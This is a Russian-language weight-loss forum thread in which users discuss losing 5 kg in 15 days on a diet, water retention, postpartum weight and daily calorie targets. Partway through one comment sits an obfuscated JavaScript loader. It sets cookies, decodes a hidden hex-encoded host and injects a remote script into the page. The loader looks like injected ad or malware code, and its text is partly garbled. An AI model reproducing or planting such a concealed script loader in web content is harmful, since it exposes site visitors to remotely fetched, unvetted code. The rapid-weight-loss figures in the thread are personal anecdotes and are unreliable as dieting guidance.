-5 кг за 15 дней

ушла вода. и чего вы паникуете,вы же на сайте для снижения веса. паниковать будите,когда на плато встанете и вес будет стоять на мертво. так,что 15 дней,это не показатель.

Елена Рябец написал:
Может дальше будут скромнее потери веса.?

может быть, даже 2-3 килограмма вернется. 

Елена Рябец написал:
А пока пугает такой результат

скорее всего, у вас были отеки. возможно, если вы продолжите худеть, они и не вернутся. Но возможно, что вы просто очень занизили калорийность или углеводы, тогда 4-5кг возвратится при восстановлении питания.  

вообще удивительно! - 15 за 5 дней! а какой исходный вес, рост?

Елена Елена, наоборот 5кг за 15дней

У меня так же ушел вес.Но были жуткие отеки.Ноги как колодки.Теперь-красота!Может жира с 1кг и ушло,но 90% воды.Физически чувствую.

У меня при весе 93 кг. за первые две недели ушло 3,5 кг., еще две недели 1,3 кг., потом две недели вес стоял, еще через две недели - 1,2 кг.

круто я тоже так хочуза 15 дней 5 кг

это по началу....

ого!! очень классно!))
по поводу дальнейшей потери веса, это надо смотреть на ваш исходный вес. От этого все зависит)

по началу у всех разные реакции. у кого вес улетает сразу, ибо человек теряет воду, у кого сопротивляется очень долго, а у кого медленно, но равномерно. одно скажу точно - первый месяц самый тяжелый, весы будут беситься, будет сложно поменять привычки и т.д. По этому, Вы все записывайте, но не делайте преждевременных оценок!

mayra, ой)) зарапортовалась))) но все же много!!!

Zlata Y, Япосле родов (двойни) вес был до мзр 75 при росте 156см. Похудела до 69. После того как увидела результат на весах испугалась и спрыгнула с мзр. Взяла паузу. Вот и думаю это нормально так резко терять вес? Пока думала набрала 1 кг. Вот сегодня опять решила вернуться к мзр. Привыкаешь к правильному питанию

Наталья, Да самое интересное, что нет отёков и не было. Я конечно понимаю, что вода уходит в первую очередь , но не столько же. Это обезвоживание настало бы

Нина Изотова, У вас нормальное похудение! Я считаю что правильное. Лучше мне кажется понемногу чем вот так как у меня. Аж до стресса.

Наверно я не готова была вот так резко потерять столько!  а с другой стороны скоро новый год

Елена Рябец, Ну почему обезвоживание? До МЗР я воду практически не пила,1-2 стакана в день.А теперь контролирую себя: 4 бутылочки по 0,5 л. Это обезвоживание раньше было, в виде отеков.

Елена Рябец, ух ты!))) Поздравляю!! пусть растут здоровые и счастливые, на радость родителям)))   в любом случае Вам сейчас надо правильно питаться, что бы организм восстановился) каллораж нормальный для вас сейчас 1600-1900 ккал. по-больше зеленых овощей и фруктов, если у деток нет аллергии, то и красные продукты тоже можно))

Радоваться надо, а не пугаться. сколько еще хотите?

Быть может вы действительно занижаете рацион?
И еще такой вопрос: когда вы родили и сколько весили до родов?

Zlata Y, Мы уже на искуственном . У меня так и есть почти 1900 ккал. Спасибо вам за пожелания!!!!!!

Ольга, Мой идеальный вес 55 кг правда когда я столько весила мне постоянно говорили, что я наверно заболела и отправляли в больницу  Ну я думаю 60 будет нормально для моего возраста мне 35 и пятеро деток!

у меня тоже так было! ничего страшного но правда потом вес будет стоять! но если будете продолжать то добьетесь своего. я например скинула 20 кг.

Капелька, Спасибо! 20 кг за какой отрезок времени?

Елена Рябец, зря Вы так думаете. За 3 месяца я сбросила 11 кг. (в первый месяц ушло 5-6 кг, примерно также как у Вас - по 1 кг в день , потом медленнее; при весе в 81 кг). 
Дальше вес немного постоял, изменила систему питания (все так же по МЗР) и вес снова активно пошел вниз (почти 3кг в неделю при весе в 71 кг). В итоге я испугалась, и бросила. Уже почти 4 месяца ем много сладкого и всего вредного. Вес стабилен до грамма - 68.5.   Сейчас снова возвращаюсь в МЗР, т.к. видимо организм снова плохими веществами забила и самочувствие становится хуже (когда на мзр долго сидишь и небольшие тренировки даешь - как-будто летаешь). МЗР мне так же помог со здоровьем (мало соленое стала есть, помимо "общего" подхода - пропала изжога (до этого она была каждый день от _любой_ еды. Рени помогал конечно, в тоже время его постоянно пить нельзя).

Елена Рябец, 
у меня рост 164. Да, когда сбрасывала по 1 кг в день, вес тоже быстро возвращался . Посмотрите Цацулина (про отеки) на Ютубе и тут есть статья МЗРовская про то, сколько кг нормально сбрасывать за какой период.

Ольга Бачинская, Вы правы про самочувствие. На мзр когда, действительно лёгкость чувствуешь.

за 8 месяцев, причем первые 12 кг ушли легко за три мес. остальные уже тяжело со срывами. Хотя думаю я сама расслабиласьwindow.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

Ну да, как то многовато, вес будет еще играть. А Вы водичку пьете по норме?

Ирина, Да с водой у меня скорее не допиваю каждый раз.Далеко не всегда выпиваю сколько нужно